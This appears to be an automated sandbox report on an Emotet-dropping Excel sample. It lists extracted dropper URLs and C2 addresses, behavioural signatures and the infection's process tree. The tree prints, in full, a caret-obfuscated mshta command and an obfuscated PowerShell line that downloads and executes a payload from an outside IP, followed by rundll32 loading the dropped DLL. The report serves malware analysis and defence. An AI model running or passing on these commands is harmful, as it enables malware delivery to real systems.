Analysis

  • max time kernel
    140s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28/01/2022, 03:45

General

  • Target
    tmplc7cyr5i.xls
  • Size 35KB
  • Sample220128-ea47wafbfq
  • SHA256 9ef206317a5d73fdc1952f2c0d24d83f943901c31e1dd2f18f8a5e296cc54e24
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/oo/aa/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/oo/aa/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 159.69.43.124:8080

  • 45.79.80.198:443

  • 207.148.81.119:8080

  • 128.199.192.135:8080

  • 118.98.72.86:443

  • 217.182.143.207:443

  • 168.197.250.14:80

  • 116.124.128.206:8080

  • 78.46.73.125:443

  • 185.148.168.15:8080

  • 195.154.146.35:443

  • 85.214.67.203:8080

  • 194.9.172.107:8080

  • 59.148.253.194:443

  • 210.57.209.142:8080

  • 54.38.242.185:443

  • 195.77.239.39:8080

  • 159.69.237.188:443

  • 104.131.62.48:8080

  • 62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmplc7cyr5i.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\SysWOW64\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1240
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/oo/aa/se.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1648
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1348
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1992
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1952
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1544
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Juhszgqgprrhqy\rgmufneotc.jro",HvjzCiRxWvMJUzD
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:836
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Juhszgqgprrhqy\rgmufneotc.jro",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1864

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/800-57-0x0000000075F21000-0x0000000075F23000-memory.dmp

        memory/800-117-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/800-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/800-55-0x0000000071121000-0x0000000071123000-memory.dmp

        memory/800-54-0x000000002F5B1000-0x000000002F5B4000-memory.dmp

        memory/836-88-0x0000000000240000-0x0000000000267000-memory.dmp

        memory/1348-61-0x0000000002400000-0x000000000304A000-memory.dmp

        memory/1348-60-0x0000000002400000-0x000000000304A000-memory.dmp

        memory/1544-79-0x0000000001F90000-0x0000000001FB7000-memory.dmp

        memory/1544-77-0x0000000000390000-0x00000000003B7000-memory.dmp

        memory/1544-81-0x0000000002470000-0x0000000002497000-memory.dmp

        memory/1544-84-0x00000000026F0000-0x0000000002717000-memory.dmp

        memory/1544-86-0x0000000002800000-0x0000000002827000-memory.dmp

        memory/1544-75-0x00000000001B0000-0x00000000001D7000-memory.dmp

        memory/1864-91-0x00000000002C0000-0x00000000002E7000-memory.dmp

        memory/1864-93-0x00000000008E0000-0x0000000000907000-memory.dmp

        memory/1864-95-0x0000000001E70000-0x0000000001E97000-memory.dmp

        memory/1864-99-0x0000000002080000-0x00000000020A7000-memory.dmp

        memory/1952-68-0x0000000000270000-0x0000000000297000-memory.dmp